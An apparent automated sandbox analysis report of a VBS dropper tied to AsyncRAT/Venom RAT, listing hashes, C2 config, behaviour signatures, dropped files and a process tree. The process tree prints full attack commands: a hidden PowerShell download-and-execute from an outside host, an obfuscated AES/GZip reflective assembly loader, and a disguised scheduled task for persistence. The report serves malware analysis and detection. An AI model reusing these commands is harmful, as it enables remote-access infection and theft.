Analysis

  • max time kernel
    95s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-12-2024 02:57

General

  • Target

    b736623441dcad195ea6687281e8ead850c5b1c690d896f1d942abd52e1a86a5.vbs

  • Size

    67KB

  • MD5

    0eccd58bd629893c13a11881a4707538

  • SHA1

    0c6eb5b4ca3e92c44ea8b8e9d0841189aeb7d554

  • SHA256

    b736623441dcad195ea6687281e8ead850c5b1c690d896f1d942abd52e1a86a5

  • SHA512

    25a8c044df81bd1e953922f897616eacb615e68e1a0e33d7606c1f4f42913c62826090e5ac4d9a7a62c20284c7206182df3b9999b7704aed692d7933015608b8

  • SSDEEP

    1536:hvakp9tDsWXM2yd+DeYq4Vi5QBCOXU3T18Foc:tJTZrXw+i++cCOXAjc

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

py 2024

C2

45.88.88.7:6987

Mutex

vojifcrudluxshc

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b736623441dcad195ea6687281e8ead850c5b1c690d896f1d942abd52e1a86a5.vbs"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:744
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3772
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\system.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1200
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\system.bat';$jPKW='GefLjTtCufLjTrrfLjTentfLjTPrfLjTocfLjTefLjTsfLjTsfLjT'.Replace('fLjT', ''),'DGzhvecoGzhvmGzhvprGzhvesGzhvsGzhv'.Replace('Gzhv', ''),'TrwGpvanwGpvsfwGpvormwGpvFiwGpvnalwGpvBwGpvlowGpvcwGpvkwGpv'.Replace('wGpv', ''),'FrycyWomBycyWaycyWseycyW64ycyWStycyWrinycyWgycyW'.Replace('ycyW', ''),'LOfFmoOfFmadOfFm'.Replace('OfFm', ''),'ElekvoVmekvoVntkvoVAtkvoV'.Replace('kvoV', ''),'MauFSCinMuFSCoduFSCuuFSCluFSCeuFSC'.Replace('uFSC', ''),'CsxmfosxmfpysxmfTosxmf'.Replace('sxmf', ''),'IunLTnvunLTokunLTeunLT'.Replace('unLT', ''),'CreuAMJateuAMJDuAMJecuAMJrypuAMJtouAMJruAMJ'.Replace('uAMJ', ''),'EfIGrntfIGrryfIGrPoifIGrnfIGrtfIGr'.Replace('fIGr', ''),'RedTRKaddTRKLdTRKinedTRKsdTRK'.Replace('dTRK', ''),'CpvtehapvtengepvteExpvtetepvtensipvteonpvte'.Replace('pvte', ''),'SGeUwplGeUwitGeUw'.Replace('GeUw', '');powershell -w hidden;function KFqPw($gImbJ){$prorq=[System.Security.Cryptography.Aes]::Create();$prorq.Mode=[System.Security.Cryptography.CipherMode]::CBC;$prorq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$prorq.Key=[System.Convert]::($jPKW[3])('S1WcM0oi7s1GQUenmEkEPvh6XGAuOA7dB1XSNaO25Eg=');$prorq.IV=[System.Convert]::($jPKW[3])('P2P4FP+QooR5iPseDFqb+g==');$ZXSvs=$prorq.($jPKW[9])();$lcuYL=$ZXSvs.($jPKW[2])($gImbJ,0,$gImbJ.Length);$ZXSvs.Dispose();$prorq.Dispose();$lcuYL;}function aFmgm($gImbJ){$Irchl=New-Object System.IO.MemoryStream(,$gImbJ);$Ylnvr=New-Object System.IO.MemoryStream;$DuOhJ=New-Object System.IO.Compression.GZipStream($Irchl,[IO.Compression.CompressionMode]::($jPKW[1]));$DuOhJ.($jPKW[7])($Ylnvr);$DuOhJ.Dispose();$Irchl.Dispose();$Ylnvr.Dispose();$Ylnvr.ToArray();}$VZjzI=[System.IO.File]::($jPKW[11])([Console]::Title);$UwubA=aFmgm (KFqPw ([Convert]::($jPKW[3])([System.Linq.Enumerable]::($jPKW[5])($VZjzI, 5).Substring(2))));$hRlCy=aFmgm (KFqPw ([Convert]::($jPKW[3])([System.Linq.Enumerable]::($jPKW[5])($VZjzI, 6).Substring(2))));[System.Reflection.Assembly]::($jPKW[4])([byte[]]$hRlCy).($jPKW[10]).($jPKW[8])($null,$null);[System.Reflection.Assembly]::($jPKW[4])([byte[]]$UwubA).($jPKW[10]).($jPKW[8])($null,$null); "
          4⤵
            PID:1544
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2540
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3520
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\system')
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3744
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 12168' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network12168Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4164
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network12168Man.cmd"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:208
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network12168Man.cmd"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2264
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network12168Man.cmd';$jPKW='GefLjTtCufLjTrrfLjTentfLjTPrfLjTocfLjTefLjTsfLjTsfLjT'.Replace('fLjT', ''),'DGzhvecoGzhvmGzhvprGzhvesGzhvsGzhv'.Replace('Gzhv', ''),'TrwGpvanwGpvsfwGpvormwGpvFiwGpvnalwGpvBwGpvlowGpvcwGpvkwGpv'.Replace('wGpv', ''),'FrycyWomBycyWaycyWseycyW64ycyWStycyWrinycyWgycyW'.Replace('ycyW', ''),'LOfFmoOfFmadOfFm'.Replace('OfFm', ''),'ElekvoVmekvoVntkvoVAtkvoV'.Replace('kvoV', ''),'MauFSCinMuFSCoduFSCuuFSCluFSCeuFSC'.Replace('uFSC', ''),'CsxmfosxmfpysxmfTosxmf'.Replace('sxmf', ''),'IunLTnvunLTokunLTeunLT'.Replace('unLT', ''),'CreuAMJateuAMJDuAMJecuAMJrypuAMJtouAMJruAMJ'.Replace('uAMJ', ''),'EfIGrntfIGrryfIGrPoifIGrnfIGrtfIGr'.Replace('fIGr', ''),'RedTRKaddTRKLdTRKinedTRKsdTRK'.Replace('dTRK', ''),'CpvtehapvtengepvteExpvtetepvtensipvteonpvte'.Replace('pvte', ''),'SGeUwplGeUwitGeUw'.Replace('GeUw', '');powershell -w hidden;function KFqPw($gImbJ){$prorq=[System.Security.Cryptography.Aes]::Create();$prorq.Mode=[System.Security.Cryptography.CipherMode]::CBC;$prorq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$prorq.Key=[System.Convert]::($jPKW[3])('S1WcM0oi7s1GQUenmEkEPvh6XGAuOA7dB1XSNaO25Eg=');$prorq.IV=[System.Convert]::($jPKW[3])('P2P4FP+QooR5iPseDFqb+g==');$ZXSvs=$prorq.($jPKW[9])();$lcuYL=$ZXSvs.($jPKW[2])($gImbJ,0,$gImbJ.Length);$ZXSvs.Dispose();$prorq.Dispose();$lcuYL;}function aFmgm($gImbJ){$Irchl=New-Object System.IO.MemoryStream(,$gImbJ);$Ylnvr=New-Object System.IO.MemoryStream;$DuOhJ=New-Object System.IO.Compression.GZipStream($Irchl,[IO.Compression.CompressionMode]::($jPKW[1]));$DuOhJ.($jPKW[7])($Ylnvr);$DuOhJ.Dispose();$Irchl.Dispose();$Ylnvr.Dispose();$Ylnvr.ToArray();}$VZjzI=[System.IO.File]::($jPKW[11])([Console]::Title);$UwubA=aFmgm (KFqPw ([Convert]::($jPKW[3])([System.Linq.Enumerable]::($jPKW[5])($VZjzI, 5).Substring(2))));$hRlCy=aFmgm (KFqPw ([Convert]::($jPKW[3])([System.Linq.Enumerable]::($jPKW[5])($VZjzI, 6).Substring(2))));[System.Reflection.Assembly]::($jPKW[4])([byte[]]$hRlCy).($jPKW[10]).($jPKW[8])($null,$null);[System.Reflection.Assembly]::($jPKW[4])([byte[]]$UwubA).($jPKW[10]).($jPKW[8])($null,$null); "
                  7⤵
                    PID:2332
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    7⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:3548
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:688
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network12168Man')
                      8⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4288
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 12168' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network12168Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3820
                    • C:\Users\Admin\AppData\Local\Temp\aep552tm.imm.exe
                      "C:\Users\Admin\AppData\Local\Temp\aep552tm.imm.exe"
                      8⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      PID:4352
            • C:\Windows\system32\timeout.exe
              timeout /nobreak /t 1
              4⤵
              • Delays execution with timeout.exe
              PID:4176

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        2f57fde6b33e89a63cf0dfdd6e60a351

        SHA1

        445bf1b07223a04f8a159581a3d37d630273010f

        SHA256

        3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

        SHA512

        42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

        Filesize

        2KB

        MD5

        e4de99c1795fd54aa87da05fa39c199c

        SHA1

        dfaaac2de1490fae01104f0a6853a9d8fe39a9d7

        SHA256

        23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457

        SHA512

        796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        4efaf15df2daf1053674b4a8344f5d5c

        SHA1

        5863e8e61ad6a74982c8604b1ac3088ad07bb339

        SHA256

        31ea1b430d76951b956c1f55d2593b70871e65ef5899f44a44dc0f7af307eaed

        SHA512

        7435db2693f2c6ae7b7884ad257112f2a453717ae4745892788f0180f1168ac288511df521fddba1349395bb107a530ce826c8c0e590110ca137018959b3bf64

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        9d662ecae338ca923a784422a86e9925

        SHA1

        ccdbbd6f3a1801b13f503d92f5d48fe5041ab495

        SHA256

        af4b4d21aa532d4ca4638e2d3c9a07760dfeb65fbe782319860130ba09b62d6e

        SHA512

        5455380e241bd3f697a8697cac7bcce54a1dc323d33995067407bc92858bc2d2216f092cce674a87f3b2d9f34b61bb5b7b13c1b57d511f1540123d38cc7bf38e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        aa8efa56e1e40374bbd21e0e469dceb7

        SHA1

        33a592799d4898c6efdd29e132f2f76ec51dbc08

        SHA256

        25eb4f899ae8f90b66b9342781456700d1af487f6f302fe5a727328b026f6bdf

        SHA512

        ad6de575b83db36b239317e4c46a1eaeb0383d5909a12b69ee2b38798c2b5cb0d19b464f5689037501d20592d92c4d3d84f0e49fdb1c0648b6593481a183f096

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        d5778d7a9184c0a16b0ad94156615f17

        SHA1

        3789bf286881a063023e6e08fff17dde952637d1

        SHA256

        a541b8caac5a2ba8bd786e33d392ff35fc1c03a2b2df581b32deec08248756ac

        SHA512

        b7a1e8ff66e5ef5837edc0a5ffe04ba880ed8704f5cae0f2771b32270dac54c4961839e47e08a76be3b72d88ab292cb5b3d40b764d52d5cbfc12146b4dad783d

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bjkvutfg.03w.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\aep552tm.imm.exe

        Filesize

        74KB

        MD5

        d727c2421ba70ad5cceaf025cc37655c

        SHA1

        dc1414aa601f356f058fd07a991aba651147dea1

        SHA256

        2b1bd21d22d83db31ce0270318e21691483280faf580840c9157388a785c08a8

        SHA512

        7788d7ee677006e5a19084618dbfb7d9661d236368e903dddd277f3e44c729cd921bab0737409fab277f58b15f904bd12dfc60901c39b62a84a3434355d22046

      • C:\Users\Admin\AppData\Local\Temp\system.bat

        Filesize

        66KB

        MD5

        c1cffa7be0703f50d79684e9ec4c9069

        SHA1

        e359431db8731b7e5966463906d6e24df8515744

        SHA256

        298ce1e8c043395147512b3c7f6e99b2bbfea09fd3c53a4fb34e5f384457f682

        SHA512

        6eece0756aaf8a65b4a425329a9d0ec0d46f2ae4d13439a453c279560ccda356a24ac501cd4b55570e2caf0dec732ed51ddb69f71cdea936d0052fa9666d258c

      • memory/744-13-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

        Filesize

        10.8MB

      • memory/744-17-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

        Filesize

        10.8MB

      • memory/744-16-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

        Filesize

        10.8MB

      • memory/744-0-0x00007FFE00F33000-0x00007FFE00F35000-memory.dmp

        Filesize

        8KB

      • memory/744-12-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

        Filesize

        10.8MB

      • memory/744-11-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

        Filesize

        10.8MB

      • memory/744-1-0x0000015837DF0000-0x0000015837E12000-memory.dmp

        Filesize

        136KB

      • memory/2540-32-0x000001F55BFF0000-0x000001F55C034000-memory.dmp

        Filesize

        272KB

      • memory/2540-33-0x000001F55C0C0000-0x000001F55C136000-memory.dmp

        Filesize

        472KB

      • memory/2540-44-0x000001F55BFA0000-0x000001F55BFB2000-memory.dmp

        Filesize

        72KB

      • memory/4352-124-0x0000000000D60000-0x0000000000D78000-memory.dmp

        Filesize

        96KB